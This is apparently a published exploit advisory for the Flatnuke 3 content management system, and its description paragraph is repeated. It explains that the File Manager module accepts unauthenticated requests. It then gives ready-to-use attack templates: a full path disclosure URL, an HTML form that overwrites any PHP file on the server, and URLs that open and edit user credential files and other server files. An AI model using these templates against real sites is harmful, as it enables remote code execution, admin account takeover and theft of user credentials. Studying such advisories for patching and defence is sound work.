Flatnuke 3 Remote Command Execution / Privilege Escalation

Flatnuke doesn't use any database, so the registred users informations are located in a php file like /flatnuke3/misc/fndatabase/users/username.php . By the file manager module, the administrator, can upload, make, edit or delete some files, only while he's logging in. By the way, making a post whit the same request of that module, we can replace or edit a file, for example an user profile. So, there are a lot of way to exploit this vulnerability, we can edit the admin credentials, we can upload a malicious php script, and much more... But to exploit this vulnerability, we need to know the script path. We can get it generating a full path disclosure.

Corrupted Module: File Manager
---------------------------------------------------------------
PoC:

Flatnuke doesn't use any database, so the registred users informations 
are located in a php file like 
/flatnuke3/misc/fndatabase/users/username.php . By the file manager 
module, the administrator, can upload, make, edit or delete some files, 
only while he's logging in. By the way, making a post whit the same 
request of that module, we can replace or edit a file, for example an 
user profile. So, there are a lot of way to exploit this vulnerability, 
we can edit the admin credentials, we can upload a malicious php script, 
and much more... But to exploit this vulnerability, we need to know the 
script path. We can get it generating a full path disclosure. 


---------------------------------------------------------------
Full Path Disclosure Example:

http://[target]/[flatnuke3_path]/index.php?mod=[forum_path]&op=disc&argumentname=[a_casual_char]
---------------------------------------------------------------
File Replace Exploit:

<form method="post" action="http://[target]/[flatnuke3_path]/index.php?mod=none_filemanager&amp;op="><textarea id="body" name="body" cols="90" rows="35">
&lt;/textarea&gt;<br><input value="Save" type="submit"><input type="reset">
<input name="opmod" value="save" type="hidden">
<input name="ffile" value="[file_name].php" type="hidden">
<input name="dir" value="/[script_path]/[file_path]" type="hidden"><input class="button" onclick="history.back()" value="Annulla" type="button"></form>
---------------------------------------------------------------
User Credential View/Edit Exploit:

http://[target]/[flatnuke3_path]/index.php?mod=none_filemanager&dir=/[script_path]/[flatnuke3_path]/misc/fndatabase/users/&ffile=[username].php&opmod=open&op=

Or, for example u can view and edit a file located on the server:

http://[target]/[flatnuke3_path]/index.php?mod=none_filemanager&dir=/[script_path]/&ffile=[file]&opmod=open&op=
---------------------------------------------------------------
Do you wanna another way to exploit this vuln? Use your brain! :P
